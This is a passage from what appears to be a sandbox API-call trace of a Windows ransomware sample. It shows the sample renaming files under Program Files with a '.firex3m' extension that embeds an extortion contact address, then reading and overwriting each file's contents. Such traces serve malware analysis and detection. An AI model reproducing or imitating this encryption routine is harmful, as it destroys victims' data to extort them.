hHeap=0x630000, dwFlags=0x0, lpMem=0x7042d10 | out: hHeap=0x630000) returned 1 [0233.923] GetProcessHeap () returned 0x630000 [0233.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70378e0 | out: hHeap=0x630000) returned 1 [0233.923] GetProcessHeap () returned 0x630000 [0233.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0233.923] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\jquery-3.1.1.min.js.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d8f47, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x916d8f47, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51612daf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x152dd, dwReserved0=0xaf87496, dwReserved1=0x70378d8, cFileName="jquery-3.1.1.min.js.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JQUERY~1.FIR")) returned 0x6d4f00 [0233.923] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0233.923] Sleep (dwMilliseconds=0x1) [0235.588] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x5d7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgradeth2.xml") returned 1 [0235.588] GetProcessHeap () returned 0x630000 [0235.588] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5000) returned 0x6fe3bb0 [0235.588] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0235.589] CloseHandle (hObject=0x6f8) returned 1 [0235.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.589] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5500 [0235.590] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0235.590] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0235.590] GetProcessHeap () returned 0x630000 [0235.590] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0235.590] GetProcessHeap () returned 0x630000 [0235.590] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0235.590] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.590] ReadFile (in: hFile=0x6f8, lpBuffer=0x6e2500, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesRead=0x5d7ff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.593] GetProcessHeap () returned 0x630000 [0235.593] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0235.593] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.593] WriteFile (in: hFile=0x6f8, lpBuffer=0x6e2830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesWritten=0x5d7ff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.593] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.593] WriteFile (in: hFile=0x6f8, lpBuffer=0x6e298f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e298f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.593] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.593] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.593] CloseHandle (hObject=0x6f8) returned 1 [0235.593] GetProcessHeap () returned 0x630000 [0235.593] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0235.594] GetProcessHeap () returned 0x630000 [0235.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0235.594] GetProcessHeap () returned 0x630000 [0235.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0235.594] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x526048bf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x5d7fd20, dwReserved1=0x6e2500, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5440 [0235.594] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0235.594] Sleep (dwMilliseconds=0x1) [0235.621] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x5d7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgrade.xml") returned 1 [0235.621] GetProcessHeap () returned 0x630000 [0235.621] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fe0) returned 0x6fe3bb0 [0235.621] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0235.621] CloseHandle (hObject=0x70c) returned 1 [0235.621] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.622] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f40 [0235.900] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0236.123] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0236.123] GetProcessHeap () returned 0x630000 [0236.123] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665cb8 [0236.123] GetProcessHeap () returned 0x630000 [0236.123] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666d90 [0236.123] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.123] ReadFile (in: hFile=0x430, lpBuffer=0x665cb8, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665cb8*, lpNumberOfBytesRead=0x5d7ff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.158] GetProcessHeap () returned 0x630000 [0236.158] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0236.158] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.158] WriteFile (in: hFile=0x430, lpBuffer=0x666d90*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x666d90*, lpNumberOfBytesWritten=0x5d7ff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.158] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.158] WriteFile (in: hFile=0x430, lpBuffer=0x666faf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x666faf*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.158] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.158] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.159] CloseHandle (hObject=0x430) returned 1 [0236.159] GetProcessHeap () returned 0x630000 [0236.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666d90 | out: hHeap=0x630000) returned 1 [0236.159] GetProcessHeap () returned 0x630000 [0236.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665cb8 | out: hHeap=0x630000) returned 1 [0236.159] GetProcessHeap () returned 0x630000 [0236.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0236.159] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.159] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52b61e8a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x5d7fd20, dwReserved1=0x665cb8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5240 [0236.159] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0236.159] Sleep (dwMilliseconds=0x1) [0236.204] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl", len=0x2f | out: pbstr=0x5d7ff7c*="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl") returned 1 [0236.204] GetProcessHeap () returned 0x630000 [0236.204] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f38) returned 0x6fe3bb0 [0236.204] CreateFileW (lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl" (normalized: "c:\\program files\\rempl\\logs\\remediation.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.211] CloseHandle (hObject=0x4c0) returned 1 [0236.211] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.212] MoveFileW (lpExistingFileName="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl" (normalized: "c:\\program files\\rempl\\logs\\remediation.001.etl"), lpNewFileName="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\rempl\\logs\\remediation.001.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.267] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x86e9cd10, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x87d22907, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remediation.001.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REMEDI~1.FIR")) returned 0x6d4e00 [0236.268] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0236.268] CreateFileW (lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\rempl\\logs\\remediation.001.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.268] GetProcessHeap () returned 0x630000 [0236.268] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73005d8 [0236.268] GetProcessHeap () returned 0x630000 [0236.268] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7001850 [0236.269] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.269] ReadFile (in: hFile=0x4c0, lpBuffer=0x73005d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesRead=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.892] GetProcessHeap () returned 0x630000 [0243.892] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745bea0 [0243.892] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.892] WriteFile (in: hFile=0x4c0, lpBuffer=0x7001850*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7001850*, lpNumberOfBytesWritten=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.892] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.892] WriteFile (in: hFile=0x4c0, lpBuffer=0x700cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc4f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0243.893] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.893] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0243.893] CloseHandle (hObject=0x4c0) returned 1 [0243.893] GetProcessHeap () returned 0x630000 [0243.893] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7001850 | out: hHeap=0x630000) returned 1 [0243.893] GetProcessHeap () returned 0x630000 [0243.893] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0243.893] GetProcessHeap () returned 0x630000 [0243.893] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745bea0 | out: hHeap=0x630000) returned 1 [0243.893] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x86e9cd10, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x5750c980, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0xaf87496, dwReserved1=0x73005d0, cFileName="Remediation.001.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REMEDI~1.FIR")) returned 0x6d4ec0 [0243.894] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0243.894] Sleep (dwMilliseconds=0x1) [0245.293] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl", len=0x7a | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl") returned 1 [0245.293] GetProcessHeap () returned 0x630000 [0245.293] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e78) returned 0x6fe3bb0 [0245.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0245.294] CloseHandle (hObject=0x700) returned 1 [0245.294] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.295] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.296] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a74b071, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a74b071, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL200~1.FIR")) returned 